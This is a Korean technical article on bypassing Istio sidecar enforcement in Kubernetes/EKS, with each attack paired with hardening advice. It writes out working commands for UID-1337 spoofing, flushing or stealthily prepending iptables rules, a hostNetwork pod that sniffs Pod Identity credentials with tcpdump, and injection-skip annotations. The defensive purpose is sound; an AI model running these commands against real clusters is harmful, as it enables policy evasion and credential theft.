“AuthorizationPolicy를 적용했으니 우리는 안전하다”고 믿는 순간, 공격자는 이미 우회하고 있다.
best-practices/security 문서도 이 점을 명시합니다.UID 1337로 프로세스를 띄우거나, CAP_NET_ADMIN/CAP_NET_RAW를 들고 있거나, hostNetwork: true이거나, 네임스페이스/파드 라벨을 건드릴 수 있다면 — 사이드카는 쉽게 우회됩니다.xt_owner 모듈의 동작 방식과 Kubernetes Pod 트러스트 모델에서 논리적으로 파생되는 귀결입니다.현장에서 흔히 듣는 대화:
“서비스 간 통신은 mTLS이고, AuthorizationPolicy도 걸어뒀어요. 그러니까 내부에서도 인증 없이 못 부르죠.”
절반만 맞는 말입니다. AuthorizationPolicy는 트래픽이 Envoy 사이드카를 통과한다는 전제 위에서만 동작합니다. 그 전제가 깨지면, 정책은 그냥 쓰여만 있는 YAML이 됩니다.
그리고 그 전제를 깨는 건 생각보다 쉽습니다. 공격자가 이미 파드 안에 들어와 있다는 현실적인 가정(컨테이너 탈출, 의존성 공급망 공격, 취약한 웹 엔드포인트 등)에서는 더더욱.
Istio maintainer인 Howard John도 블로그에서 직접 이렇게 정리한 적이 있습니다: “egress 정책이 보안 수단이라고 생각하는 건 오해다. 사이드카를 우회하는 방법은 많고, 유일하게 안전한 방법은 Egress Gateway를 쓰되 NetworkPolicy와 함께 강제하는 것이다.”
즉, 사이드카는 “편의상의 관문”이지, “방화벽”이 아닙니다.
Istio 사이드카 주입이 실제로 하는 일은 단순합니다.
istio-init init container가 파드 네임스페이스에서 NET_ADMIN/NET_RAW를 써서 iptables 룰을 세움.REDIRECT로 Envoy(UID 1337)가 LISTEN하는 포트(15001/15006)로 돌림.여기서 핵심은 — 이 모든 게 “파드 내부”에서 일어난다는 점입니다. Linux 트러스트 모델상 파드 내부는 하나의 같은 네트워크/사용자 네임스페이스입니다. 컨테이너 간 격리는 Linux kernel 관점에서 보안 경계가 아닙니다.
사이드카가 보는 트래픽은 iptables가 리다이렉트해준 트래픽뿐입니다. iptables 룰이 바뀌거나, 룰을 우회하는 경로가 열려 있으면 — 사이드카는 단순히 “거기 있을 뿐”인 프로세스가 됩니다.
실제로 사이드카가 주입된 파드 안에서 iptables를 떠보면 이렇게 나옵니다:
$ kubectl exec -it victim-pod -c app -- iptables -t nat -L ISTIO_OUTPUT -n -v
Chain ISTIO_OUTPUT (1 references)
target prot source destination
RETURN all 127.0.0.6 0.0.0.0/0
ISTIO_IN_REDIRECT all 0.0.0.0/0 !127.0.0.1 owner UID match 1337
RETURN all 0.0.0.0/0 0.0.0.0/0 ! owner UID match 1337
RETURN all 0.0.0.0/0 127.0.0.1
ISTIO_REDIRECT all 0.0.0.0/0 0.0.0.0/0
이제 이 룰들을 어떻게 무력화할 수 있는지 하나씩 보겠습니다.
xt_owner의 함정setuid() 호출이 가능한 상태. (기본 리눅스 이미지 + root 권한이면 충분)# 1) 침해된 애플리케이션 컨테이너 내부로 진입
$ kubectl exec -it victim-pod -c app -- bash
# 2) 현재 iptables 룰 확인 — 1337 owner RETURN 룰이 보입니다
root@victim-pod:/# iptables-save -t nat | grep 1337
-A ISTIO_OUTPUT -m owner --uid-owner 1337 -j RETURN
-A ISTIO_OUTPUT -m owner --gid-owner 1337 -j RETURN
# 3) 사이드카를 거치는 정상 요청 (비교 baseline)
root@victim-pod:/# curl -s -o /dev/null -w "%{http_code}\n" \
http://restricted-service.internal/admin
403
# → AuthorizationPolicy가 DENY로 막음. 여기까지는 Istio가 일하는 중.
# 4) UID 1337 사용자 생성
root@victim-pod:/# useradd -u 1337 -M -s /bin/bash bypass
# 5) UID 1337로 전환해서 동일 요청
root@victim-pod:/# su - bypass -c \
'curl -s -o /dev/null -w "%{http_code}\n" http://restricted-service.internal/admin'
200
# → 사이드카 우회. AuthorizationPolicy는 평가조차 되지 않음.
xt_owner 커널 모듈은 소켓을 연 프로세스의 현재 fsuid/fsgid로 매치합니다. Istio의 egress 룰은 “UID 1337이 보낸 트래픽은 리다이렉트 하지 말 것”이라는 규칙을 갖고 있고, 공격자가 UID를 1337로 바꾸면 이 룰이 그대로 적용됩니다.
evt.type=setuid and proc.name!=pilot-agent and proc.name!=envoy and evt.arg.uid=1337.runAsUser: 1337 / runAsGroup: 1337 금지.setuid syscall 제한 (seccomp RuntimeDefault 이상 + 필요하면 커스텀 프로파일).UID를 속이는 것도 번거로우면, 더 직접적인 방법이 있습니다.
CAP_NET_ADMIN 또는 CAP_NET_RAW를 보유 (명시적으로 추가됐거나, privileged: true 컨테이너).istio-init 때문에 이 권한들이 파드에 실질적으로 열려 있는 경우가 많습니다.# 1) 침해된 컨테이너 진입 후 현재 capability 확인
$ kubectl exec -it victim-pod -c app -- bash
root@victim-pod:/# capsh --print | grep -i net
Current: cap_net_admin,cap_net_raw,... # 또는 +ep 표시
# 2) 현재 iptables 확인
root@victim-pod:/# iptables -t nat -L ISTIO_OUTPUT -n --line-numbers
Chain ISTIO_OUTPUT (1 references)
num target
1 RETURN
2 ISTIO_IN_REDIRECT
3 RETURN
4 RETURN
5 ISTIO_REDIRECT
# 3) ISTIO_OUTPUT, ISTIO_INBOUND 체인 flush
root@victim-pod:/# iptables -t nat -F ISTIO_OUTPUT
root@victim-pod:/# iptables -t nat -F ISTIO_INBOUND
root@victim-pod:/# iptables -t nat -D PREROUTING -p tcp -j ISTIO_INBOUND
root@victim-pod:/# iptables -t nat -D OUTPUT -p tcp -j ISTIO_OUTPUT
# 4) 이제 모든 트래픽이 사이드카를 거치지 않고 나갑니다
root@victim-pod:/# curl -v http://restricted-service.internal/admin
# → Envoy 리다이렉트 없음. mTLS도 없음. AuthorizationPolicy도 없음.
더 은밀하게 하고 싶다면 전체 flush 대신 선택적 우회 룰을 prepend할 수도 있습니다:
# 특정 목적지로 가는 트래픽만 리다이렉트에서 제외
root@victim-pod:/# iptables -t nat -I OUTPUT 1 \
-d 10.100.5.20 -p tcp --dport 443 -j RETURN
# → 이 IP:PORT로 가는 트래픽만 우회. 나머지는 정상적으로 사이드카를 거치므로
# 관측 지표가 "대체로 정상"으로 보여서 알람이 잘 안 뜹니다.
운영 중인 EKS 클러스터에서 한 번 떠보세요:
kubectl get pods -A -o json | jq -r '
.items[] |
select(.spec.containers[].securityContext.capabilities.add[]? |
IN("NET_ADMIN","NET_RAW","SYS_ADMIN")) |
"\(.metadata.namespace)/\(.metadata.name)"'
또는 privileged container 찾기:
kubectl get pods -A -o json | jq -r '
.items[] |
select(.spec.containers[].securityContext.privileged==true) |
"\(.metadata.namespace)/\(.metadata.name)"'
Istio CNI Plugin을 쓰면 iptables 세팅은 노드 레벨의 CNI 플러그인이 수행하고, 애플리케이션 파드에서 NET_ADMIN/NET_RAW를 완전히 제거할 수 있습니다. Ambient mode에서는 이게 기본 동작입니다.
EKS를 쓴다면:
istioctl install 시 --set components.cni.enabled=true 옵션 사용AWS_VPC_K8S_CNI_EXTERNALSNAT, CNI config 순서 확인)Restricted 프로파일로 애플리케이션 네임스페이스에서 capability 추가 자체를 막기가장 직관적인 우회입니다.
hostNetwork: true 파드가 이미 존재.2025년 6월 Trend Micro/ZDI가 공개한 ZDI-CAN-26891의 핵심이 이겁니다. hostNetwork: true 파드는 노드의 네트워크 네임스페이스를 공유하므로, 169.254.170.23:80으로 가는 평문 HTTP 자격증명 트래픽을 tcpdump로 그냥 스니핑할 수 있습니다.
# attacker-pod.yaml
apiVersion: v1
kind: Pod
metadata:
name: net-debug
namespace: default
spec:
hostNetwork: true # ← 핵심
containers:
- name: sniffer
image: nicolaka/netshoot
command: ["sleep", "infinity"]
securityContext:
capabilities:
add: ["NET_ADMIN", "NET_RAW"]
# 배포
$ kubectl apply -f attacker-pod.yaml
# 진입
$ kubectl exec -it net-debug -- bash
# 노드의 네트워크 네임스페이스에 들어와 있음 — ss로 노드 포트 확인 가능
root@net-debug:/# ss -tnlp | head
State Recv-Q Send-Q Local Address:Port
LISTEN 0 4096 127.0.0.1:10248 # kubelet healthz
LISTEN 0 4096 127.0.0.1:10249 # kube-proxy metrics
LISTEN 0 4096 169.254.170.23:80 # ← EKS Pod Identity Agent
LISTEN 0 4096 0.0.0.0:15008 # ← 같은 노드 사이드카 포트
# 자격증명 평문 스니핑 (2025 ZDI-CAN-26891 재현)
root@net-debug:/# tcpdump -i any -A -s 0 'host 169.254.170.23 and port 80'
# → 다른 파드가 AWS API 호출할 때마다 Authorization 헤더와 credentials JSON이 평문으로 노출
# 같은 노드의 다른 파드 사이드카 메트릭 포트도 건드릴 수 있음
root@net-debug:/# curl -s http://127.0.0.1:15090/stats | grep cluster_name
Istio 관점에서 중요한 건: 이 파드 자체가 메시에 참여할 때도 사이드카가 무의미하다는 점입니다. hostNetwork: true면 istio-init이 세운 iptables는 파드 네트워크 네임스페이스가 아니라 노드 네트워크 네임스페이스에 적용될 수 없거나, 적용되더라도 다른 모든 시스템 프로세스에 영향을 주게 됩니다.
PSA Restricted 프로파일을 네임스페이스에 적용:
kubectl label namespace prod \
pod-security.kubernetes.io/enforce=restricted \
pod-security.kubernetes.io/enforce-version=latest
Gatekeeper / Kyverno로 hostNetwork, hostPID, hostIPC 명시적 금지.
EKS에서 eks-pod-identity-agent가 도는 노드에는 사용자 워크로드 파드에 hostNetwork를 절대 허용하지 말 것. 자격증명 탈취 경로가 동시에 열립니다.
앞의 세 가지는 “사이드카가 있는데 우회”하는 방법이었습니다. 이건 더 게으른 방법 — 아예 사이드카를 안 받기입니다.
# stealth-pod.yaml — 메시 네임스페이스 안에서도 사이드카 없이 뜸
apiVersion: v1
kind: Pod
metadata:
name: stealth
namespace: prod # istio-injection=enabled 네임스페이스
annotations:
sidecar.istio.io/inject: "false" # ← 주입 스킵
spec:
serviceAccountName: app-sa
containers:
- name: app
image: curlimages/curl
command: ["sleep", "infinity"]
$ kubectl apply -f stealth-pod.yaml
# 주입 여부 확인 — istio-proxy 컨테이너가 없음
$ kubectl get pod stealth -n prod -o jsonpath='{.spec.containers[*].name}'
app
# → istio-proxy 컨테이너 없음. AuthorizationPolicy 평가 대상 아님.
# 제한된 서비스 호출 — 사이드카가 없으니 mTLS도 없음
$ kubectl exec -it stealth -n prod -- \
curl -s -o /dev/null -w "%{http_code}\n" \
http://restricted-service.prod.svc.cluster.local/admin
200 # ← 평문 HTTP로 통과
다른 우회 변형도 있습니다:
# 포트 단위로 제외 — 훨씬 은밀함
annotations:
traffic.sidecar.istio.io/excludeOutboundPorts: "443,3306"
# → 특정 포트로 나가는 트래픽만 사이드카 우회
# 전체 interception 끄기 (interceptionMode NONE)
annotations:
sidecar.istio.io/interceptionMode: "NONE"
운영 중인 클러스터에서 한 번 떠보세요. 사이드카가 없는 파드를 한 줄로 뽑을 수 있습니다:
# 메시 대상 네임스페이스에서 istio-proxy 컨테이너 없는 파드 찾기
kubectl get ns -l istio-injection=enabled -o name | \
xargs -I{} kubectl get pods -n {#*/} -o json | \
jq -r '.items[] |
select(.spec.containers | map(.name) | index("istio-proxy") | not) |
"\(.metadata.namespace)/\(.metadata.name)"'
Admission webhook / Gatekeeper / Kyverno로 특정 네임스페이스에서는 주입 제외 어노테이션/라벨을 금지.
Gatekeeper 예시 ConstraintTemplate 스니펫:
violation[{"msg": msg}] {
input.review.object.metadata.annotations["sidecar.istio.io/inject"] == "false"
input.review.object.metadata.namespace == "prod"
msg := "sidecar.istio.io/inject=false is forbidden in prod namespace"
}
네임스페이스 생성 권한과 istio-injection 라벨 변경 권한을 플랫폼 팀이 독점. 애플리케이션 팀은 raw Namespace/Pod를 못 건드리게.
주기적 오딧: 위 스캔 쿼리를 cron으로 돌려 Slack/PagerDuty로 알림.
위 네 가지 공격 체인의 공통점: Istio 하나로는 막을 수 없습니다. Istio는 애플리케이션 레이어의 정체성·암호화·관측을 제공하는 도구이지, 네트워크 격리 장치가 아닙니다.
실무에서 쓰는 계층 조합:
① Kubernetes NetworkPolicy (진짜 L3/L4 방화벽)
파드 간 통신을 Calico, Cilium, AWS VPC CNI Network Policy 등으로 강제 차단. 사이드카 우회가 일어나도 여기서 막힙니다. 이게 가장 중요합니다. Istio maintainer도 이 지점을 반복해서 강조합니다.
② Istio CNI Plugin
애플리케이션 파드에서 NET_ADMIN/NET_RAW를 제거. iptables 조작으로 사이드카를 우회하는 경로를 원천 차단.
③ Pod Security Admission Restricted 프로파일
hostNetwork, hostPID, privileged, 위험한 capabilities를 네임스페이스 단위로 거부.
④ Admission Policy (Gatekeeper / Kyverno)
securityContext.capabilities.add 금지sidecar.istio.io/interceptionMode: NONE 금지⑤ Egress Gateway + NetworkPolicy
egress 통제가 정말 필요하다면 Egress Gateway를 세우고, NetworkPolicy로 모든 outbound는 Egress Gateway만 거치게 강제. Egress Gateway는 애플리케이션과 다른 트러스트 도메인이라 우회가 어렵습니다.
⑥ 런타임 탐지 (Falco / Tetragon)
위 네 가지 공격 체인이 만드는 고유 시그니처(setuid(1337), iptables 수정, hostNetwork 파드 생성, 주입 제외 어노테이션)를 런타임에서 잡기.
⑦ (선택) Ambient Mode로의 전환
Istio Ambient mode의 ztunnel은 DaemonSet으로 노드 레벨에서 트래픽을 가로챕니다. 파드 안의 iptables나 UID 속임수로는 우회할 수 없습니다. 다만 트러스트 경계가 “파드”에서 “노드”로 바뀌는 거라, ztunnel이 죽으면 그 노드의 메시 트래픽 전체가 영향을 받습니다. 트레이드오프가 있습니다.
EKS + Istio 조합을 쓰는 입장에서 지금 바로 확인할 수 있는 항목들:
pod-security.kubernetes.io/enforce: restricted 라벨 적용hostNetwork: true, privileged: true 파드 존재 여부 오딧NET_ADMIN/NET_RAW capability 남아있는지 확인 → Istio CNI Plugin 전환 검토sidecar.istio.io/inject: "false" 어노테이션 추적 및 Gatekeeper 정책화default-deny + 명시적 allow 구조hostNetwork 파드 금지 (2025년 ZDI-CAN-26891 건)사이드카 우회는 Istio의 버그가 아닙니다. SQL Injection이 SQL의 버그가 아니었던 것처럼, Prompt Injection이 LLM의 버그가 아닌 것처럼 — 이건 트러스트 모델의 전제를 잘못 해석한 운영자의 구성 문제입니다.
Istio 공식 문서도 이 점을 명확히 합니다: “보안 경계는 ‘트래픽이 모두 Istio에 잡힌다’가 아니라, ‘다른 파드의 사이드카를 우회할 수 없다’이다.” 즉, 내가 침해당한 파드가 자기 사이드카를 우회하는 건 막을 수 없습니다. Istio가 지켜주는 건, 그 파드가 옆 파드의 사이드카를 못 건너뛴다는 것뿐입니다.
이 경계를 이해하면, AuthorizationPolicy 하나에 모든 걸 걸지 않게 됩니다. NetworkPolicy를 붙이고, PSA를 켜고, Gatekeeper를 쓰고, 필요하면 Ambient mode로 가는 게 자연스러운 흐름이 됩니다.
서비스 메시는 훌륭한 관측·신원·암호화 도구이지만, 방화벽의 자리를 대신 채우게 두지 마세요. 두 가지는 다른 레이어에서 다른 문제를 푸는 도구들입니다.